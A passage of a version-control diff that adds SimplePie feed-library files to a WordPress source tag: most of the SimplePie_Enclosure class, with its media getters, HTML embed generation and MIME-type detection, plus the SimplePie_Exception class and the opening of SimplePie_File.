+	var $link;
+
+	/**
+	 * @var string
+	 * @see get_medium()
+	 */
+	var $medium;
+
+	/**
+	 * @var string
+	 * @see get_player()
+	 */
+	var $player;
+
+	/**
+	 * @var array
+	 * @see get_ratings()
+	 */
+	var $ratings;
+
+	/**
+	 * @var array
+	 * @see get_restrictions()
+	 */
+	var $restrictions;
+
+	/**
+	 * @var string
+	 * @see get_sampling_rate()
+	 */
+	var $samplingrate;
+
+	/**
+	 * @var array
+	 * @see get_thumbnails()
+	 */
+	var $thumbnails;
+
+	/**
+	 * @var string
+	 * @see get_title()
+	 */
+	var $title;
+
+	/**
+	 * @var string
+	 * @see get_type()
+	 */
+	var $type;
+
+	/**
+	 * @var string
+	 * @see get_width()
+	 */
+	var $width;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * For documentation on all the parameters, see the corresponding
+	 * properties and their accessors
+	 *
+	 * @uses idna_convert If available, this will convert an IDN
+	 */
+	public function __construct($link = null, $type = null, $length = null, $javascript = null, $bitrate = null, $captions = null, $categories = null, $channels = null, $copyright = null, $credits = null, $description = null, $duration = null, $expression = null, $framerate = null, $hashes = null, $height = null, $keywords = null, $lang = null, $medium = null, $player = null, $ratings = null, $restrictions = null, $samplingrate = null, $thumbnails = null, $title = null, $width = null)
+	{
+		$this->bitrate = $bitrate;
+		$this->captions = $captions;
+		$this->categories = $categories;
+		$this->channels = $channels;
+		$this->copyright = $copyright;
+		$this->credits = $credits;
+		$this->description = $description;
+		$this->duration = $duration;
+		$this->expression = $expression;
+		$this->framerate = $framerate;
+		$this->hashes = $hashes;
+		$this->height = $height;
+		$this->keywords = $keywords;
+		$this->lang = $lang;
+		$this->length = $length;
+		$this->link = $link;
+		$this->medium = $medium;
+		$this->player = $player;
+		$this->ratings = $ratings;
+		$this->restrictions = $restrictions;
+		$this->samplingrate = $samplingrate;
+		$this->thumbnails = $thumbnails;
+		$this->title = $title;
+		$this->type = $type;
+		$this->width = $width;
+
+		if (class_exists('idna_convert'))
+		{
+			$idn = new idna_convert();
+			$parsed = SimplePie_Misc::parse_url($link);
+			$this->link = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']);
+		}
+		$this->handler = $this->get_handler(); // Needs to load last
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the bitrate
+	 *
+	 * @return string|null
+	 */
+	public function get_bitrate()
+	{
+		if ($this->bitrate !== null)
+		{
+			return $this->bitrate;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single caption
+	 *
+	 * @param int $key
+	 * @return SimplePie_Caption|null
+	 */
+	public function get_caption($key = 0)
+	{
+		$captions = $this->get_captions();
+		if (isset($captions[$key]))
+		{
+			return $captions[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all captions
+	 *
+	 * @return array|null Array of {@see SimplePie_Caption} objects
+	 */
+	public function get_captions()
+	{
+		if ($this->captions !== null)
+		{
+			return $this->captions;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single category
+	 *
+	 * @param int $key
+	 * @return SimplePie_Category|null
+	 */
+	public function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all categories
+	 *
+	 * @return array|null Array of {@see SimplePie_Category} objects
+	 */
+	public function get_categories()
+	{
+		if ($this->categories !== null)
+		{
+			return $this->categories;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the number of audio channels
+	 *
+	 * @return int|null
+	 */
+	public function get_channels()
+	{
+		if ($this->channels !== null)
+		{
+			return $this->channels;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the copyright information
+	 *
+	 * @return SimplePie_Copyright|null
+	 */
+	public function get_copyright()
+	{
+		if ($this->copyright !== null)
+		{
+			return $this->copyright;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single credit
+	 *
+	 * @param int $key
+	 * @return SimplePie_Credit|null
+	 */
+	public function get_credit($key = 0)
+	{
+		$credits = $this->get_credits();
+		if (isset($credits[$key]))
+		{
+			return $credits[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all credits
+	 *
+	 * @return array|null Array of {@see SimplePie_Credit} objects
+	 */
+	public function get_credits()
+	{
+		if ($this->credits !== null)
+		{
+			return $this->credits;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the description of the enclosure
+	 *
+	 * @return string|null
+	 */
+	public function get_description()
+	{
+		if ($this->description !== null)
+		{
+			return $this->description;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the duration of the enclosure
+	 *
+	 * @param string $convert Convert seconds into hh:mm:ss
+	 * @return string|int|null 'hh:mm:ss' string if `$convert` was specified, otherwise integer (or null if none found)
+	 */
+	public function get_duration($convert = false)
+	{
+		if ($this->duration !== null)
+		{
+			if ($convert)
+			{
+				$time = SimplePie_Misc::time_hms($this->duration);
+				return $time;
+			}
+			else
+			{
+				return $this->duration;
+			}
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the expression
+	 *
+	 * @return string Probably one of 'sample', 'full', 'nonstop', 'clip'. Defaults to 'full'
+	 */
+	public function get_expression()
+	{
+		if ($this->expression !== null)
+		{
+			return $this->expression;
+		}
+		else
+		{
+			return 'full';
+		}
+	}
+
+	/**
+	 * Get the file extension
+	 *
+	 * @return string|null
+	 */
+	public function get_extension()
+	{
+		if ($this->link !== null)
+		{
+			$url = SimplePie_Misc::parse_url($this->link);
+			if ($url['path'] !== '')
+			{
+				return pathinfo($url['path'], PATHINFO_EXTENSION);
+			}
+		}
+		return null;
+	}
+
+	/**
+	 * Get the framerate (in frames-per-second)
+	 *
+	 * @return string|null
+	 */
+	public function get_framerate()
+	{
+		if ($this->framerate !== null)
+		{
+			return $this->framerate;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the preferred handler
+	 *
+	 * @return string|null One of 'flash', 'fmedia', 'quicktime', 'wmedia', 'mp3'
+	 */
+	public function get_handler()
+	{
+		return $this->get_real_type(true);
+	}
+
+	/**
+	 * Get a single hash
+	 *
+	 * @link http://www.rssboard.org/media-rss#media-hash
+	 * @param int $key
+	 * @return string|null Hash as per `media:hash`, prefixed with "$algo:"
+	 */
+	public function get_hash($key = 0)
+	{
+		$hashes = $this->get_hashes();
+		if (isset($hashes[$key]))
+		{
+			return $hashes[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all credits
+	 *
+	 * @return array|null Array of strings, see {@see get_hash()}
+	 */
+	public function get_hashes()
+	{
+		if ($this->hashes !== null)
+		{
+			return $this->hashes;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the height
+	 *
+	 * @return string|null
+	 */
+	public function get_height()
+	{
+		if ($this->height !== null)
+		{
+			return $this->height;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the language
+	 *
+	 * @link http://tools.ietf.org/html/rfc3066
+	 * @return string|null Language code as per RFC 3066
+	 */
+	public function get_language()
+	{
+		if ($this->lang !== null)
+		{
+			return $this->lang;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single keyword
+	 *
+	 * @param int $key
+	 * @return string|null
+	 */
+	public function get_keyword($key = 0)
+	{
+		$keywords = $this->get_keywords();
+		if (isset($keywords[$key]))
+		{
+			return $keywords[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all keywords
+	 *
+	 * @return array|null Array of strings
+	 */
+	public function get_keywords()
+	{
+		if ($this->keywords !== null)
+		{
+			return $this->keywords;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get length
+	 *
+	 * @return float Length in bytes
+	 */
+	public function get_length()
+	{
+		if ($this->length !== null)
+		{
+			return $this->length;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the URL
+	 *
+	 * @return string|null
+	 */
+	public function get_link()
+	{
+		if ($this->link !== null)
+		{
+			return urldecode($this->link);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the medium
+	 *
+	 * @link http://www.rssboard.org/media-rss#media-content
+	 * @return string|null Should be one of 'image', 'audio', 'video', 'document', 'executable'
+	 */
+	public function get_medium()
+	{
+		if ($this->medium !== null)
+		{
+			return $this->medium;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the player URL
+	 *
+	 * Typically the same as {@see get_permalink()}
+	 * @return string|null Player URL
+	 */
+	public function get_player()
+	{
+		if ($this->player !== null)
+		{
+			return $this->player;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single rating
+	 *
+	 * @param int $key
+	 * @return SimplePie_Rating|null
+	 */
+	public function get_rating($key = 0)
+	{
+		$ratings = $this->get_ratings();
+		if (isset($ratings[$key]))
+		{
+			return $ratings[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all ratings
+	 *
+	 * @return array|null Array of {@see SimplePie_Rating} objects
+	 */
+	public function get_ratings()
+	{
+		if ($this->ratings !== null)
+		{
+			return $this->ratings;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single restriction
+	 *
+	 * @param int $key
+	 * @return SimplePie_Restriction|null
+	 */
+	public function get_restriction($key = 0)
+	{
+		$restrictions = $this->get_restrictions();
+		if (isset($restrictions[$key]))
+		{
+			return $restrictions[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all restrictions
+	 *
+	 * @return array|null Array of {@see SimplePie_Restriction} objects
+	 */
+	public function get_restrictions()
+	{
+		if ($this->restrictions !== null)
+		{
+			return $this->restrictions;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the sampling rate (in kHz)
+	 *
+	 * @return string|null
+	 */
+	public function get_sampling_rate()
+	{
+		if ($this->samplingrate !== null)
+		{
+			return $this->samplingrate;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the file size (in MiB)
+	 *
+	 * @return float|null File size in mebibytes (1048 bytes)
+	 */
+	public function get_size()
+	{
+		$length = $this->get_length();
+		if ($length !== null)
+		{
+			return round($length/1048576, 2);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single thumbnail
+	 *
+	 * @param int $key
+	 * @return string|null Thumbnail URL
+	 */
+	public function get_thumbnail($key = 0)
+	{
+		$thumbnails = $this->get_thumbnails();
+		if (isset($thumbnails[$key]))
+		{
+			return $thumbnails[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all thumbnails
+	 *
+	 * @return array|null Array of thumbnail URLs
+	 */
+	public function get_thumbnails()
+	{
+		if ($this->thumbnails !== null)
+		{
+			return $this->thumbnails;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the title
+	 *
+	 * @return string|null
+	 */
+	public function get_title()
+	{
+		if ($this->title !== null)
+		{
+			return $this->title;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get mimetype of the enclosure
+	 *
+	 * @see get_real_type()
+	 * @return string|null MIME type
+	 */
+	public function get_type()
+	{
+		if ($this->type !== null)
+		{
+			return $this->type;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the width
+	 *
+	 * @return string|null
+	 */
+	public function get_width()
+	{
+		if ($this->width !== null)
+		{
+			return $this->width;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Embed the enclosure using `<embed>`
+	 *
+	 * @deprecated Use the second parameter to {@see embed} instead
+	 *
+	 * @param array|string $options See first paramter to {@see embed}
+	 * @return string HTML string to output
+	 */
+	public function native_embed($options='')
+	{
+		return $this->embed($options, true);
+	}
+
+	/**
+	 * Embed the enclosure using Javascript
+	 *
+	 * `$options` is an array or comma-separated key:value string, with the
+	 * following properties:
+	 *
+	 * - `alt` (string): Alternate content for when an end-user does not have
+	 *    the appropriate handler installed or when a file type is
+	 *    unsupported. Can be any text or HTML. Defaults to blank.
+	 * - `altclass` (string): If a file type is unsupported, the end-user will
+	 *    see the alt text (above) linked directly to the content. That link
+	 *    will have this value as its class name. Defaults to blank.
+	 * - `audio` (string): This is an image that should be used as a
+	 *    placeholder for audio files before they're loaded (QuickTime-only).
+	 *    Can be any relative or absolute URL. Defaults to blank.
+	 * - `bgcolor` (string): The background color for the media, if not
+	 *    already transparent. Defaults to `#ffffff`.
+	 * - `height` (integer): The height of the embedded media. Accepts any
+	 *    numeric pixel value (such as `360`) or `auto`. Defaults to `auto`,
+	 *    and it is recommended that you use this default.
+	 * - `loop` (boolean): Do you want the media to loop when its done?
+	 *    Defaults to `false`.
+	 * - `mediaplayer` (string): The location of the included
+	 *    `mediaplayer.swf` file. This allows for the playback of Flash Video
+	 *    (`.flv`) files, and is the default handler for non-Odeo MP3's.
+	 *    Defaults to blank.
+	 * - `video` (string): This is an image that should be used as a
+	 *    placeholder for video files before they're loaded (QuickTime-only).
+	 *    Can be any relative or absolute URL. Defaults to blank.
+	 * - `width` (integer): The width of the embedded media. Accepts any
+	 *    numeric pixel value (such as `480`) or `auto`. Defaults to `auto`,
+	 *    and it is recommended that you use this default.
+	 * - `widescreen` (boolean): Is the enclosure widescreen or standard?
+	 *    This applies only to video enclosures, and will automatically resize
+	 *    the content appropriately.  Defaults to `false`, implying 4:3 mode.
+	 *
+	 * Note: Non-widescreen (4:3) mode with `width` and `height` set to `auto`
+	 * will default to 480x360 video resolution.  Widescreen (16:9) mode with
+	 * `width` and `height` set to `auto` will default to 480x270 video resolution.
+	 *
+	 * @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'.
+	 * @param array|string $options Comma-separated key:value list, or array
+	 * @param bool $native Use `<embed>`
+	 * @return string HTML string to output
+	 */
+	public function embed($options = '', $native = false)
+	{
+		// Set up defaults
+		$audio = '';
+		$video = '';
+		$alt = '';
+		$altclass = '';
+		$loop = 'false';
+		$width = 'auto';
+		$height = 'auto';
+		$bgcolor = '#ffffff';
+		$mediaplayer = '';
+		$widescreen = false;
+		$handler = $this->get_handler();
+		$type = $this->get_real_type();
+
+		// Process options and reassign values as necessary
+		if (is_array($options))
+		{
+			extract($options);
+		}
+		else
+		{
+			$options = explode(',', $options);
+			foreach($options as $option)
+			{
+				$opt = explode(':', $option, 2);
+				if (isset($opt[0], $opt[1]))
+				{
+					$opt[0] = trim($opt[0]);
+					$opt[1] = trim($opt[1]);
+					switch ($opt[0])
+					{
+						case 'audio':
+							$audio = $opt[1];
+							break;
+
+						case 'video':
+							$video = $opt[1];
+							break;
+
+						case 'alt':
+							$alt = $opt[1];
+							break;
+
+						case 'altclass':
+							$altclass = $opt[1];
+							break;
+
+						case 'loop':
+							$loop = $opt[1];
+							break;
+
+						case 'width':
+							$width = $opt[1];
+							break;
+
+						case 'height':
+							$height = $opt[1];
+							break;
+
+						case 'bgcolor':
+							$bgcolor = $opt[1];
+							break;
+
+						case 'mediaplayer':
+							$mediaplayer = $opt[1];
+							break;
+
+						case 'widescreen':
+							$widescreen = $opt[1];
+							break;
+					}
+				}
+			}
+		}
+
+		$mime = explode('/', $type, 2);
+		$mime = $mime[0];
+
+		// Process values for 'auto'
+		if ($width === 'auto')
+		{
+			if ($mime === 'video')
+			{
+				if ($height === 'auto')
+				{
+					$width = 480;
+				}
+				elseif ($widescreen)
+				{
+					$width = round((intval($height)/9)*16);
+				}
+				else
+				{
+					$width = round((intval($height)/3)*4);
+				}
+			}
+			else
+			{
+				$width = '100%';
+			}
+		}
+
+		if ($height === 'auto')
+		{
+			if ($mime === 'audio')
+			{
+				$height = 0;
+			}
+			elseif ($mime === 'video')
+			{
+				if ($width === 'auto')
+				{
+					if ($widescreen)
+					{
+						$height = 270;
+					}
+					else
+					{
+						$height = 360;
+					}
+				}
+				elseif ($widescreen)
+				{
+					$height = round((intval($width)/16)*9);
+				}
+				else
+				{
+					$height = round((intval($width)/4)*3);
+				}
+			}
+			else
+			{
+				$height = 376;
+			}
+		}
+		elseif ($mime === 'audio')
+		{
+			$height = 0;
+		}
+
+		// Set proper placeholder value
+		if ($mime === 'audio')
+		{
+			$placeholder = $audio;
+		}
+		elseif ($mime === 'video')
+		{
+			$placeholder = $video;
+		}
+
+		$embed = '';
+
+		// Flash
+		if ($handler === 'flash')
+		{
+			if ($native)
+			{
+				$embed .= "<embed src=\"" . $this->get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\"></embed>";
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_flash('$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$loop', '$type');</script>";
+			}
+		}
+
+		// Flash Media Player file types.
+		// Preferred handler for MP3 file types.
+		elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== ''))
+		{
+			$height += 20;
+			if ($native)
+			{
+				$embed .= "<embed src=\"$mediaplayer\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"$width\" height=\"$height\" wmode=\"transparent\" flashvars=\"file=" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\"></embed>";
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_flv('$width', '$height', '" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "', '$placeholder', '$loop', '$mediaplayer');</script>";
+			}
+		}
+
+		// QuickTime 7 file types.  Need to test with QuickTime 6.
+		// Only handle MP3's if the Flash Media Player is not present.
+		elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === ''))
+		{
+			$height += 16;
+			if ($native)
+			{
+				if ($placeholder !== '')
+				{
+					$embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" href=\"" . $this->get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
+				}
+				else
+				{
+					$embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" src=\"" . $this->get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
+				}
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_quicktime('$type', '$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$placeholder', '$loop');</script>";
+			}
+		}
+
+		// Windows Media
+		elseif ($handler === 'wmedia')
+		{
+			$height += 45;
+			if ($native)
+			{
+				$embed .= "<embed type=\"application/x-mplayer2\" src=\"" . $this->get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\"></embed>";
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_wmedia('$width', '$height', '" . $this->get_link() . "');</script>";
+			}
+		}
+
+		// Everything else
+		else $embed .= '<a href="' . $this->get_link() . '" class="' . $altclass . '">' . $alt . '</a>';
+
+		return $embed;
+	}
+
+	/**
+	 * Get the real media type
+	 *
+	 * Often, feeds lie to us, necessitating a bit of deeper inspection. This
+	 * converts types to their canonical representations based on the file
+	 * extension
+	 *
+	 * @see get_type()
+	 * @param bool $find_handler Internal use only, use {@see get_handler()} instead
+	 * @return string MIME type
+	 */
+	public function get_real_type($find_handler = false)
+	{
+		// Mime-types by handler.
+		$types_flash = array('application/x-shockwave-flash', 'application/futuresplash'); // Flash
+		$types_fmedia = array('video/flv', 'video/x-flv','flv-application/octet-stream'); // Flash Media Player
+		$types_quicktime = array('audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video'); // QuickTime
+		$types_wmedia = array('application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx'); // Windows Media
+		$types_mp3 = array('audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg'); // MP3
+
+		if ($this->get_type() !== null)
+		{
+			$type = strtolower($this->type);
+		}
+		else
+		{
+			$type = null;
+		}
+
+		// If we encounter an unsupported mime-type, check the file extension and guess intelligently.
+		if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3)))
+		{
+			switch (strtolower($this->get_extension()))
+			{
+				// Audio mime-types
+				case 'aac':
+				case 'adts':
+					$type = 'audio/acc';
+					break;
+
+				case 'aif':
+				case 'aifc':
+				case 'aiff':
+				case 'cdda':
+					$type = 'audio/aiff';
+					break;
+
+				case 'bwf':
+					$type = 'audio/wav';
+					break;
+
+				case 'kar':
+				case 'mid':
+				case 'midi':
+				case 'smf':
+					$type = 'audio/midi';
+					break;
+
+				case 'm4a':
+					$type = 'audio/x-m4a';
+					break;
+
+				case 'mp3':
+				case 'swa':
+					$type = 'audio/mp3';
+					break;
+
+				case 'wav':
+					$type = 'audio/wav';
+					break;
+
+				case 'wax':
+					$type = 'audio/x-ms-wax';
+					break;
+
+				case 'wma':
+					$type = 'audio/x-ms-wma';
+					break;
+
+				// Video mime-types
+				case '3gp':
+				case '3gpp':
+					$type = 'video/3gpp';
+					break;
+
+				case '3g2':
+				case '3gp2':
+					$type = 'video/3gpp2';
+					break;
+
+				case 'asf':
+					$type = 'video/x-ms-asf';
+					break;
+
+				case 'flv':
+					$type = 'video/x-flv';
+					break;
+
+				case 'm1a':
+				case 'm1s':
+				case 'm1v':
+				case 'm15':
+				case 'm75':
+				case 'mp2':
+				case 'mpa':
+				case 'mpeg':
+				case 'mpg':
+				case 'mpm':
+				case 'mpv':
+					$type = 'video/mpeg';
+					break;
+
+				case 'm4v':
+					$type = 'video/x-m4v';
+					break;
+
+				case 'mov':
+				case 'qt':
+					$type = 'video/quicktime';
+					break;
+
+				case 'mp4':
+				case 'mpg4':
+					$type = 'video/mp4';
+					break;
+
+				case 'sdv':
+					$type = 'video/sd-video';
+					break;
+
+				case 'wm':
+					$type = 'video/x-ms-wm';
+					break;
+
+				case 'wmv':
+					$type = 'video/x-ms-wmv';
+					break;
+
+				case 'wvx':
+					$type = 'video/x-ms-wvx';
+					break;
+
+				// Flash mime-types
+				case 'spl':
+					$type = 'application/futuresplash';
+					break;
+
+				case 'swf':
+					$type = 'application/x-shockwave-flash';
+					break;
+			}
+		}
+
+		if ($find_handler)
+		{
+			if (in_array($type, $types_flash))
+			{
+				return 'flash';
+			}
+			elseif (in_array($type, $types_fmedia))
+			{
+				return 'fmedia';
+			}
+			elseif (in_array($type, $types_quicktime))
+			{
+				return 'quicktime';
+			}
+			elseif (in_array($type, $types_wmedia))
+			{
+				return 'wmedia';
+			}
+			elseif (in_array($type, $types_mp3))
+			{
+				return 'mp3';
+			}
+			else
+			{
+				return null;
+			}
+		}
+		else
+		{
+			return $type;
+		}
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/SimplePie/Exception.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Exception.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Exception.php	(revision 56912)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.4-dev
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * General SimplePie exception class
+ *
+ * @package SimplePie
+ */
+class SimplePie_Exception extends Exception
+{
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/File.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/File.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/File.php	(revision 56912)
@@ -0,0 +1,292 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Used for fetching remote files and reading local files
+ *
+ * Supports HTTP 1.0 via cURL or fsockopen, with spotty HTTP 1.1 support
+ *
+ * This class can be overloaded with {@see SimplePie::set_file_class()}
+ *
+ * @package SimplePie
+ * @subpackage HTTP
+ * @todo Move to properly supporting RFC2616 (HTTP/1.1)
+ */
+class SimplePie_File
+{
+	var $url;
+	var $useragent;
+	var $success = true;
+	var $headers = array();
+	var $body;
+	var $status_code;
+	var $redirects = 0;
+	var $error;
+	var $method = SIMPLEPIE_FILE_SOURCE_NONE;
+
